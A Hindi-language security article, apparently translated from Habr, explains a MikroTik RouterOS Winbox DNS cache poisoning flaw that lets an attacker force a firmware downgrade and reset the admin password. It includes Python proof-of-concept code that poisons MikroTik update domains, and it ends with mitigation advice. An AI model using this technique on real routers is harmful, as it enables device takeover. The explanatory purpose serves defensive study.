राउटरओएस में बैकपोर्ट भेद्यता सैकड़ों हजारों उपकरणों को खतरे में डालती है

राउटरओएस (मिकरोटिक) पर आधारित उपकरणों को दूरस्थ रूप से डाउनग्रेड करने की क्षमता सैकड़ों हजारों नेटवर्क उपकरणों को खतरे में डालती है। भेद्यता Winbox प्रोटोकॉल के DNS कैश की विषाक्तता से जुड़ी है और आपको डिवाइस पर पुराने (डिफ़ॉल्ट पासवर्ड रीसेट के साथ) या संशोधित फर्मवेयर लोड करने की अनुमति देती है।

भेद्यता विवरण

राउटरओएस टर्मिनल डीएनएस लुकअप के लिए रिज़ॉल्यूशन कमांड का समर्थन करता है।

इस अनुरोध को रिज़ॉल्वर नामक बाइनरी द्वारा नियंत्रित किया जाता है। रिज़ॉल्वर कई बायनेरिज़ में से एक है जो राउटरओएस के विनबॉक्स प्रोटोकॉल से जुड़ता है। उच्च स्तर पर, विनबॉक्स पोर्ट पर भेजे गए "संदेश" को सरणी-आधारित नंबरिंग योजना के आधार पर राउटरओएस में विभिन्न बायनेरिज़ में रूट किया जा सकता है।

डिफ़ॉल्ट रूप से, राउटरओएस में डीएनएस सर्वर सुविधा अक्षम है।

हालाँकि, सर्वर फ़ंक्शन अक्षम होने पर भी, राउटर अपना स्वयं का DNS कैश बनाए रखता है।

जब हम उदाहरण example.com के लिए winbox_dns_request का उपयोग करके अनुरोध करते हैं, तो राउटर परिणाम को कैश कर देगा।

चूँकि हम DNS सर्वर निर्दिष्ट कर सकते हैं जिसके माध्यम से अनुरोध जाना चाहिए, गलत पते दर्ज करना मामूली बात है। उदाहरण के लिए, आप DNS सर्वर कार्यान्वयन को कॉन्फ़िगर कर सकते हैं फिलिप क्लॉसहमेशा आईपी एड्रेस 192.168.88.250 वाले ए रिकॉर्ड के साथ जवाब देना होगा।

def dns_response(data):
    request = DNSRecord.parse(data)
    reply = DNSRecord(DNSHeader(
        id=request.header.id, qr=1, aa=1, ra=1), q=request.q)
    qname = request.q.qname
    qn = str(qname)
    reply.add_answer(RR(qn,ttl=30,rdata=A("192.168.88.250")))
    print("---- Reply:n", reply)
    return reply.pack()

अब यदि आप Winbox का उपयोग करके example.com खोजते हैं, तो आप देख सकते हैं कि राउटर का DNS कैश ख़राब हो गया है।

बेशक, पॉइज़निंग example.com बहुत उपयोगी नहीं है क्योंकि राउटर वास्तव में इसका उपयोग नहीं करेगा। हालाँकि, राउटर को अपग्रेड.मिक्रोटिक.कॉम, क्लाउड.मिक्रोटिक.कॉम, क्लाउड2.मिक्रोटिक.कॉम और डाउनलोड.मिक्रोटिक.कॉम तक पहुंचने की आवश्यकता है। और एक और गलती के कारण, उन सभी को एक ही बार में जहर देना संभव है।

def dns_response(data):
    request = DNSRecord.parse(data)
    reply = DNSRecord(DNSHeader(
        id=request.header.id, qr=1, aa=1, ra=1), q=request.q)
    qname = request.q.qname
    qn = str(qname)
    reply.add_answer(RR(qn,ttl=30,rdata=A("192.168.88.250")))
    reply.add_answer(RR("upgrade.mikrotik.com",ttl=604800,
        rdata=A("192.168.88.250")))
    reply.add_answer(RR("cloud.mikrotik.com",ttl=604800,
        rdata=A("192.168.88.250")))
    reply.add_answer(RR("cloud2.mikrotik.com",ttl=604800,
        rdata=A("192.168.88.250")))
    reply.add_answer(RR("download.mikrotik.com",ttl=604800,
        rdata=A("192.168.88.250")))
    print("---- Reply:n", reply)
    return reply.pack()

राउटर एक अनुमति का अनुरोध करता है, और हम पांच वापस देते हैं। राउटर इन सभी प्रतिक्रियाओं को सही ढंग से कैश नहीं करता है।

जाहिर है, यदि राउटर DNS सर्वर के रूप में कार्य कर रहा है तो यह हमला भी उपयोगी है, क्योंकि यह राउटर के ग्राहकों पर हमला करने की अनुमति देता है।

यह हमला आपको अधिक गंभीर भेद्यता का फायदा उठाने की भी अनुमति देता है: राउटरओएस के संस्करण को डाउनग्रेड या बैकपोर्ट करें। हमलावर चेंजलॉग सहित अद्यतन सर्वर के तर्क को फिर से बनाता है, और राउटरओएस को पुराने (कमजोर) संस्करण को वर्तमान के रूप में देखने के लिए मजबूर करता है। यहां खतरा इस तथ्य में निहित है कि जब संस्करण "अपडेट" होता है, तो व्यवस्थापक पासवर्ड डिफ़ॉल्ट मान पर रीसेट हो जाता है - एक हमलावर खाली पासवर्ड के साथ सिस्टम में लॉग इन कर सकता है!

इस तथ्य के बावजूद, हमला काफी कारगर है लेखक कई और वैक्टर लागू करता है, जिनमें संबंधित वेक्टर भी शामिल हैं फर्मवेयर में पिछले दरवाजे को एम्बेड करना, लेकिन यह पहले से ही एक अनावश्यक तकनीक है और नाजायज उद्देश्यों के लिए इसका उपयोग अवैध है।

सुरक्षा

बस Winbox को अक्षम करने से आप इन हमलों से खुद को सुरक्षित रख सकते हैं। Winbox के माध्यम से प्रशासन की सुविधा के बावजूद, SSH प्रोटोकॉल का उपयोग करना बेहतर है।

स्रोत: www.habr.com